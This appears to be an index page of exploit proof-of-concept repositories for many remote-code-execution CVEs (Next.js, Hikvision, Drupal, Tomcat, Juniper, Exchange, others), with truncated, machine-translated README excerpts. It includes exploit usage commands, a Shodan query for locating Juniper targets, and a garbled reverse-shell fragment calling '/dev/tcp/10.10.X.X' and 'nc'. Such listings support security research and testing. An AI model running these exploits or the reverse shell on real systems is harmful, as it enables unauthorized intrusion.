POC-CVE-2025-55182

Scanner CVE-2025-55182 Outil en ligne de commande simple pour détecter et exploiter CVE-2025-55182 RCE dans les composants serveur React dans les applications Next.js. Installation root@kitploit: chmod +x scanner.sh Utilisation root@kitploit: Analyse avec la commande par défaut id ./scanner.sh -d...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check 안전 및 비안전 취약점/검증 점검: '안전 점검'으로 검증되지 않은 경우에만 '비안전 점검'을 사용합니다 $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot 비안전 취약점/검증 점검: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080...

CVE-2021-2109

CVE-2021-2109 Weblogic Server: воспроизведение и анализ уязвимости удалённого выполнения кода В январе 2021 года Oracle выпустила обновление безопасности, включающее 329 новых патчей безопасности для продуктов Oracle. В этом уведомлении особо упоминалось уведомление о безопасности Oracle WebLogic...

CVE-2018-7600

POC de CVE-2018-7600 Drupal RCE CVE-2018-7600 N'oubliez pas de mettre votre adresse dans le script ! Description : Une vulnérabilité d'exécution de code à distance existe dans plusieurs sous-systèmes de Drupal 7.x et 8.x. Cela permet potentiellement aux attaquants d'exploiter de multiples vecteur...

TryHackMe-Atlassian-CVE-2022-26134

TryHackMe | Atlassian, CVE-2022-26134 TryHackMe Atlassian CVE-2022-26134 Atlassian, CVE-2022-26134 An interactive lab showcasing the Confluence Server and Data Center un-authenticated RCE vulnerability. Tâche 1 Introduction Confluence | Votre espace de travail d'équipe adapté au télétravail |...

CVE-2025-24813-PoC

CVE-2025-24813-PoC Script de détection de masse pour la vulnérabilité d'exécution de code à distance dans Apache Tomcat CVE-2025-24813 Avertissement : Les vulnérabilités décrites dans ce document et leurs étapes de reproduction sont strictement destinées à des fins de recherche en cybersécurité e...

RTSPServer-Code-Execution-Vulnerability

Live Networks LIVE555 streaming media RTSPServer lookForHeader - Vulnérabilité d'exécution de code CVE-2018-4013 Résumé Une vulnérabilité d'exécution de code exploitable existe dans la fonctionnalité d'analyse de paquets HTTP de la bibliothèque serveur RTSP LIVE555. Un paquet spécialement conçu...

CVE-2023-36844_Juniper_RCE

CVE-2023-36844JuniperRCE 一个概念验证（PoC），通过串联 CVE-2023-36844、CVE-2023-36845、CVE-2023-36846、CVE-2023-36847 这些 CVE，在 Juniper JunOS 的 SRX 和 EX 系列产品中实现远程代码执行（phpinfo）。修改自 @watchTowr 开发的原始漏洞利用程序。 Shodan 搜索语法 : title:"Juniper" http.favicon.hash:2141724739...

Blackash-CVE-2025-53833

🚨 CVE-2025-53833 — Критическое ⚠️ SSTI ➜ RCE в LaRecipe версии 2.8.1 📌 Обзор Идентификатор уязвимости : CVE-2025-53833 Затронутый компонент : LaRecipe генератор документации на Laravel Затронутые версии : Все версии до 2.8.1 Тип уязвимости : Server-Side Template Injection SSTI Серьезность :...

CVE-2015-2291

CVE-2015-2291 1 IQVW32.sys avant la version 1.3.1.0 et 2 IQVW64.sys avant la version 1.3.1.0 dans le pilote de diagnostic Ethernet Intel pour Windows permet aux utilisateurs locaux de provoquer un déni de service ou éventuellement d'exécuter du code arbitraire avec des privilèges noyau via un app...

CVE-2020-9496

CVE-2020-9496 - RCE Étant donné que les 2 requêtes liées à xmlrpc dans webtools xmlrpc et ping n'utilisent pas d'authentification, elles sont vulnérables à une désérialisation non sécurisée. Ce problème a été signalé à l'équipe de sécurité par Alvaro Munoz [email protected] de l'équipe GitHu...

S2-057-CVE-2018-11776

S2-057-CVE-2018-11776 Un exploit simple pour Apache Struts RCE S2-057 CVE-2018-11776 IMPORTANT : Fourni uniquement à des fins éducatives ou d'information. Déploiement de l'environnement de test root@kitploit: git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-057 docker-compose up -d...

CVE-2021-22192

CVE-2021-22192 CVE-2021-22192 실습 환경: 인증되지 않은 사용자 RCE 취약점 0x10 실습 환경 0x20 디렉터리 구조 root@kitploit: CVE-2021-22192 ├── README.md ............... 이 README 설명 ├── imgs .................... README 설명 보조 이미지 ├── gitlab .................. Gitlab 컨테이너의 마운트 디렉터리 │ ├── Dockerfile .......... Gitlab의 Docker 빌드...

CVE-2022-30190

CVE-2022-30190 Basé sur https://github.com/JohnHammond/msdt-follina Configuration de l'environnement Utiliser les fichiers dans /env-setup 1. Machine virtuelle : utiliser VirtualBox et Win1021H2Englishx32.iso Build 19044.1288 2. Installer Microsoft Word, exécuter setup.exe /configure...

CVE-2025-55182

CVE-2025-55182 Scanner et Laboratoire d'Exploitation Ce dépôt contient un scanner complet et un outil d'exploitation pour CVE-2025-55182 , une vulnérabilité critique d'exécution de code à distance RCE dans les composants serveur React RSC. Il inclut également un 'Environnement de laboratoire'...

CVE-2024-7029

PoC-инструмент для эксплуатации CVE-2024-7029 на устройствах AvTech 🎤 Перевод README Английский فارسی 📸 Скриншот 💎 Введение CVE-2024-7029 подчеркивает серьезную проблему безопасности в устройствах AVTech, где злоумышленники могут обойти аутентификацию и удаленно выполнять произвольные команды. Эт...

CVE-2020-8165

CVE-2020-8165 Python Exploit Ce code permet d'exploiter CVE-2020-8165 avec Python3. Cet exploit fonctionne avec rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Crédits principaux Détails originaux de la CVE :...

CVE-2024-4577-RCE

Injection d'argument PHP CGI CVE-2024-4577 RCE 📜 Description...

Next.js-RCE-CVE-2025-55182

🔍 Outil de test de sécurité Next.js Utilitaire professionnel d'évaluation de sécurité pour applications Next.js ⚠️ Avertissement Cet outil est destiné uniquement à des fins de tests de sécurité autorisés et de recherche. ✅ Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels...

cve-2020-0688

cve-2020-0688 Utilisation : root@kitploit: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p...